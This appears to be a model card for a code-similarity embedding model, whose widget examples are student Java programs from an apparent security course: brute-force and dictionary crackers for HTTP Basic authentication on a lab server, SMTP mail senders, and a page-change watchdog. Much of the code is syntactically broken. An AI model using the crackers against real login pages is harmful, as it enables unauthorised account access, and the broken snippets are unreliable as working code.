metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:38664
- loss:MultipleNegativesRankingLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: |-
import java.net.*;
import java.io.*;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO client");
send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin <WatchDog@SecureECommerce.>");
send (out, "\n");
send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- |
import java.io.*;
public class PasswordFile {
private String strFilepath;
private String strCurrWord;
private File fWordFile;
private BufferedReader in;
public PasswordFile(String filepath) {
strFilepath = filepath;
try {
fWordFile = new File(strFilepath);
in = new BufferedReader(new FileReader(fWordFile));
}
catch(Exception e)
{
System.out.println("Could not open file " + strFilepath);
}
}
String getPassword() {
return strCurrWord;
}
String getNextPassword() {
try {
strCurrWord = in.readLine();
}
catch (Exception e)
{
return null;
}
return strCurrWord;
}
}
- |-
import java.net.*;
import java.io.*;
public class SendEMail {
public void SendEMail(){}
public void sendMail(String recipient,String c, String subject){
try {
Socket s = new Socket("yallara.cs.rmit.edu.", 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO theWorld");
send(in, out, "MAIL FROM: <watch@dog.>");
send(in, out, "RCPT : "+recipient);
send(in, out, "DATA");
send(out, "Subject: "+ subject);
send(out, "From: WatchDog.java");
send (out, "\n");
BufferedReader reader;
String line;
reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
line = reader.readLine();
while (line != null){
send(out, line);
line = reader.readLine();
}
send(out, "\n.\n");
send(in, out, "QUIT");
s.print();
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n private HttpURLConnection connection ;\n private int stopTime = 0;\n private int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n }\n\n public static void main (String args[])\n {\n BruteForce bf = new BruteForce();\n }\n \n public void threeLetters()\n {\n String s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n }\n }\n }\n }\n \n public void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n }\n }\n }\n\n \n public void decision(String s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n runTime = stopTime - startTime;\n System.out.println(\"***************************************\");\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the Web site: \");\n displayContent(s1);\n System.out.println(\"\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\\nNumber of attempts: \" + count);\n System.out.println();\n\n System.exit(0);\n }\n }\n \n \n public int find(String s1)\n {\n int responseCode = 0;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n }catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n return responseCode;\n }\n\n \n public void displayContent(String pw)\n {\n BufferedReader bw = null ;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream stream = (InputStream)(connection.getContent());\n if (stream != null)\n {\n InputStreamReader reader = new InputStreamReader (stream);\n bw = new BufferedReader (reader);\n String line;\n\n while ((line = bw.readLine()) != null)\n {\n System.out.println(line);\n }\n }\n }\n catch (IOException e)\n {\n System.out.println(e.getMessage());\n }\n }\n}\n\n\n\n\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\");\n \treturn;\n \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println (\" \" + new Date());\n \n System.out.println (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\");\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n \n \treturn;\n\n }\n\n for (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n\n double dt =t1-t0;\n\n\n\n System.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n System.out.println (\"Finish \" + new Date());\n \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n\n \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \n System.out.println (\"Finish \" + new Date());\n \n \t return;\n\n }\n\n\n }\n\n}\n}\n System.out.println(\" not find the password\");\n\n}\n\n public BruteForce (String password, String username){\n\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n\n try {\n\n String userPassword = username+\":\"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}"
- |
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}
- |+
import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;
public class Dictionary
{
private URL url;
private HttpURLConnection connection ;
private int stopTime = 0;
private int startTime = 0;
private int count = 0;
public Dictionary()
{
System.out.println("Process is running...");
startTime = System.currentTimeMillis();
findWords();
}
public static void main(String args[])
{
Dictionary sc = new Dictionary();
}
public void findWords()
{
try
{
BufferedReader input = new BufferedReader(new FileReader ("words"));
String text;
while ((text = input.readLine()) != null)
{
if ((text.length() == 3) || (text.length() == 2))
{
count++;
decision(text);
}
}
}
catch (IOException io)
{
System.out.println("File Error: " + io.getMessage());
}
}
public void decision(String s1)
{
if (find(s1) == 200)
{
stopTime = System.currentTimeMillis();
runTime = stopTime - startTime;
System.out.println("***************************************");
System.out.println("\nAttack successfully");
System.out.println("\nPassword is: " + s1);
System.out.println("\nThe contents of the Web site: ");
displayContent(s1);
System.out.println("\nTime taken crack: " + runTime + " millisecond");
System.out.println("\nNumber of attempts: " + count);
System.out.println();
System.exit(0);
}
}
public int find(String s1)
{
int responseCode = 0;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));
responseCode = connection.getResponseCode();
}catch (Exception e)
{
System.out.println(e.getMessage());
}
return responseCode;
}
public void displayContent(String pw)
{
BufferedReader bw = null ;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
InputStream stream = (InputStream)(connection.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
bw = new BufferedReader (reader);
String line;
while ((line = bw.readLine()) != null)
{
System.out.println(line);
}
}
}
catch (IOException e)
{
System.out.println(e.getMessage());
}
}
}
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport java.util.*;\n\npublic class MyClient1 implements Runnable\n{\n private String hostname;\n private int port;\n private String filename;\n private Socket s;\n private int n;\n private InputStream sin;\n private OutputStream sout;\n private int dif;\n private String myPassword;\n private int status;\n private int myTime;\n private Dictionary myMaster;\n \n\n public MyClient1(Dictionary dic, int num, int myPort, String password)\n {\n \n hostname = new String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n myTime = 0;\n myPassword = password;\n filename = new String(\"/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n public getDif()\n {\n return dif;\n }\n public int getStatus()\n {\n return status;\n }\n public void run() \n {\n String inputLine;\n String[] tokens = new String[5];\n int i;\n myTime = 0;\n finish = 0;\n start = System.currentTimeMillis();\n try\n {\n s = new Socket( hostname, port);\n }catch( UnknownHostException e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException e)\n {\n System.out.println(\"Error connecting host \"+n);\n\t return;\n }\n while(s.isConnected() == false)\n continue;\n \n finish = System.currentTimeMillis();\n dif = finish - start;\n \n try\n {\n sin = s.getInputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));\n try\n {\n sout = s.getOutputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization: \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n \n try\n {\n inputLine = fromServer.readLine();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n\t inputLine = null;\n }\n \n java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(bf.hasMoreTokens())\n {\n tokens[i] =bf .nextToken();\n\t i++;\n }\n status = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n {\n fromServer.recieve();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n try\n {\n s.connect();\n }catch( IOException e)\n {\n System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\nimport java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\n\npublic class ReadFile\n{\n private StringTokenizer tokenizer;\n private BufferedReader bf;\n private String line;\n private String first;\n Vector in = new Vector();\n \n public void loadFile()throws NoSuchElementException, IOException\n {\n System.out.println(\"in loadFile\");\n try{\n bf = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException fe){}\n catch(IOException io){}\n while((line = bf.readLine())!=null)\n {\n\n int index = 0;\n tokenizer = new StringTokenizer(line);\n try\n\t {\n\t first = tokenizer.nextToken();\n\t \n\t \n\t if (first.length() == 3)\n\t {\n\t\tin.add(first);\n\t }\n\t }\n catch(NoSuchElementException n)\n\t {\n System.out.println(\"File Loaded Succesfully\");\n\n }\n\n }\n }\n public Vector getVector()\n {\n return in;\n }\n public static void main (String args[])\n {\n Vector v = new Vector();\n try\n {\n System.out.println(\"in \");\n\t ReadFile rf = new ReadFile();\n rf.loadFile();\n v = rf.getVector();\n\t \n }\n catch(IOException e)\n {\n System.out.println(e);\n }\n System.out.println(\"size:\" + v.size());\n for (int i = 0; i< v.size(); i++)\n {\n System.out.println(i+1+ \":\" + v.elementAt(i));\n }\n \n \n }\n \n}\n"
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String hostname;\n private int port;\n private String filename;\n private Socket s;\n private int n;\n private InputStream sin;\n private OutputStream sout;\n private int dif;\n private String myPassword;\n private int status;\n private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce bf , int num, int myPort, String password)\n {\n \n hostname = new String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n myTime = 0;\n myPassword = password;\n filename = new String(\"/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n public getDif()\n {\n return dif;\n }\n public int getStatus()\n {\n return status;\n }\n public void run() \n {\n String inputLine;\n String[] tokens = new String[5];\n int i;\n myTime = 0;\n finish = 0;\n start = System.currentTimeMillis();\n try\n {\n s = new Socket( hostname, port);\n }catch( UnknownHostException e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException e)\n {\n System.out.println(\"Error connecting host \"+n);\n\t return;\n }\n while(s.isConnected() == false)\n continue;\n \n finish = System.currentTimeMillis();\n dif = finish - start;\n \n try\n {\n sin = s.getInputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));\n try\n {\n sout = s.getOutputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization: \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n \n try\n {\n inputLine = fromServer.readLine();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n\t inputLine = null;\n }\n \n java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n {\n fromServer.receive();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n try\n {\n s.connect();\n }catch( IOException e)\n {\n System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\n\nimport java.util.*;\nimport java.text.*;\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class WatchDog\n{\n public static void main(String args[])\n {\n String s = null;\n String webpage = \"http://www.cs.rmit.edu./students/\";\n \n \n String file1 = \"file1\";\n String file2 = \"file2\";\n \n try\n {\n Process p = Runtime.getRuntime().exec(\"wget -O \" + file1 + \" \" + webpage);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n }\n \n try\n {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n }\n catch (IOException e) {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n \n while (true) \n {\n try\n {\n Process p = Runtime.getRuntime().exec(\"sleep 86400\"); \n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n }\n \n try\n {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n }\n catch (IOException e) \n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n } \n try \n {\n Process p = Runtime.getRuntime().exec(\"wget -O \" + file2 + \" \" + webpage);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n }\n \n try\n {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n \n }\n catch (IOException e) \n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n try \n {\n \n Process p = Runtime.getRuntime().exec(\"diff \" + file1 + \" \" + file2);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream())); \n \n \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n }\n \n try\n {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n }\n \n if ((p.exitValue()) == 1) \n { \n \n String mailServerURL = \"yallara.cs.rmit.edu.\";\n String host = \"yallara.cs.rmit.edu.\";\n String from = \"@yallara.cs.rmit.edu.\";\n \n String subject = \"Change Detected In WatchDog.java\";\n \n try\n {\n \t\n Socket csoc=new Socket(mailServerURL,25);\n BufferedReader in=new BufferedReader(\n new InputStreamReader(csoc.getInputStream()));\n \n PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n System.out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n System.out.println(in.readLine());\n System.out.println(\"DATA\");\n System.out.println(in.readLine());\n System.out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n \n \n while ((s = stdInput.readLine()) != null){\n System.out.println(s);\n }\n out.println(\".\");\n System.out.println(in.readLine());\n System.out.println(\"QUIT\");\n System.out.println(in.readLine()); \n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.out.println(\"Some error occoured while communicating server\");\n }\n } \n }\n catch (IOException e) \n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n } \n }\n}"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Dictionary {\n public static void main (String[] args) throws IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\n d = new Date().getTime();\n FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \n int total = 960;\n String[] pws = new String[total];\n int count = 0;\n while (word!=null){\n if (word.length()<=3) { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n }\n catch(IOException e){ System.err.println(e); e.printStackTrace(); } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n System.out.println(\"The successful password was \"+pws[i]);\n finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \n }\n}\n\n"
sentences:
- |-
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
}
